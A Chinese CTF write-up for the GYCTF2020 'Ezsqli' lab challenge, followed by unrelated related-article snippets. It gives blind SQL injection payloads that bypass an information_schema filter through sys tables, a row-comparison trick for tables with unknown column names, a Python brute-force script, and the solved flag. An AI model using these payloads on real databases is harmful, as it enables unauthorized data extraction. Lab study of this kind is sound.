[GYCTF2020]Ezsqli ---不会编程的崽

news/2025/2/19 15:23:36/

又是sql新题型哦。继续收集!

既然知道是sql注入就不墨迹了。初步判断盲注,判断盲注的方发不用说了吧,然后fuzz一下,information被过滤了。再次可以判断为盲注与无列名注入。

管他有列名还是无列名,先找到表。由于information被过滤了。可以用以下来代替sys.x$schema_flattened_keys

sys.schema_table_statistics_with_buffer

2||(ASCII(SUBSTR((select(group_concat(table_name))FROM(sys.x$schema_flattened_keys)where(table_schema)=database()),1,1))=102)

拿去脚本跑一下

 因为无列名注入无法获得列名,不能使用普通盲注,而且这里也无法使用union select。来尝试一下新的方法吧。我从别人那扒过来的

大概什么意思呢?

匹配逻辑是比较首字母ascii码大小(与长度无关)。若首字母相等,继续比较下一位
a>f 0
f>a 1
a=a 0
af>fl 0
af>ae 1
aff>afg 0
aff>afe 1
aff>afef 1

 这是比较形象的解释。所以构造payload。flag就是要替换的字符

((select 1,"flag")>(select * from f1ag_1s_h3r3_hhhhh))
import requestsflag=''
res=''
url1="http://697e1a0c-606c-4c7b-9a31-69449c4995d7.node5.buuoj.cn:81/index.php"
for i in range(1,500,1):for y in range(32,128,1):x=res+chr(y)  #将匹配的字符与将要匹配的字符拼接进行比较url='-1||((select 1,"'+x+'")>(select * from f1ag_1s_h3r3_hhhhh))'content={'id':url}data=requests.post(url=url1,data=content)if "Nu1L" in str(data.text):res = res + chr(y-1) #匹配成功后自增,减一是因为相等返回为0,但成立条件是大于返回1,所以减1才是相等flag=flag+chr(y-1)print(flag)break

脚本写的不好,请见谅。 

 

这题不难,难的是不知道有哪些表可以利用,不知道这种比较方法

最后在转化为小写就可以提交了

print('FLAG{BEF4BF3D-7FCC-4A5B-B2C9-212DE6E978C6}'.lower())


http://www.ppmy.cn/news/1391562.html

相关文章

HTTP协议1

官网学习网址:HTTP | MDN 常规信息 常规请求头信息: 状态码: 200 正常响应 404 未找到资源 500 服务端一场的 3** 重定向 资源缓存 响应头信息: 客户端允许的请求方法类型 Access-Control-Allow-Methods: GET, POST, PUT, DELET…

ElasticSearch使用(一)

文章目录 一、简介1. 数据类型2. 倒排索引3. Lucene4. ElasticSearch5. Solar VS ElasticSearch 二、ElasticSearch入门1. 简介2. 分词器3. 索引操作4. 文档操作5. ES文档批量操作 二、ElasticSearch的DSL1. 文档映射Mapping2. Index Template3. DSL 一、简介 1. 数据类型 结…

IP代理技术革新:探索数据采集的新路径

引言: 随着全球化进程不断加深,网络数据采集在企业决策和市场分析中扮演着愈发重要的角色。然而,地域限制和IP封锁等问题常常给数据采集工作带来了巨大挑战。亿牛云代理服务凭借其强大的网络覆盖和真实住宅IP资源,成为解决这些问…

政安晨:【深度学习实践】【使用 TensorFlow 和 Keras 为结构化数据构建和训练神经网络】(四)—— 过拟合和欠拟合

政安晨的个人主页:政安晨 欢迎 👍点赞✍评论⭐收藏 收录专栏: 政安晨的机器学习笔记 希望政安晨的博客能够对您有所裨益,如有不足之处,欢迎在评论区提出指正! 通过增加容量或提前停止来提高性能。 在深度学习中&#…

Java与Go:字符串方法

在Java和Go中,字符串处理是一个无处不在且至关重要的主题。无论是在数据处理、文本解析、网络通信还是用户界面交互等方面,字符串都扮演着至关重要的角色。因此,对于开发人员来说,了解不同编程语言中的字符串处理方式以及它们的性…

Vue3的与2的简单区别

Vue2选项式api Vue3组合式API setup方法的使用,最后需要return setup语法糖省略了内部的export default{} 和return 内容 以及组件的注册 reactive生成响应式对象,只能适用于复杂对象,简单类型不可 ref生成响应式数据:复杂类型和简…

Chronicles 是什么数据库

可以理解的是 Chronicles 是 EPIC 公司根据 IRIS 进行魔改后的一个 DBMS。 简单的来说 Chronicles 就是一个数据库管理系统,但这个数据库管理系统不是我们常说的关系数据库的管理系统。 数据库结构 只要对数据库有所了解的都知道数据库通常就是 2 个部分&#xf…

怎么监控公司电脑桌面

嘿,你有没有想过怎么监控公司电脑桌面啊? 监控公司电脑桌面?为什么要这么做? 嗯,比如说老板想知道员工有没有在上班时间偷懒,或者公司有保密需求,需要确保员工没有泄露公司机密。 可是这样做…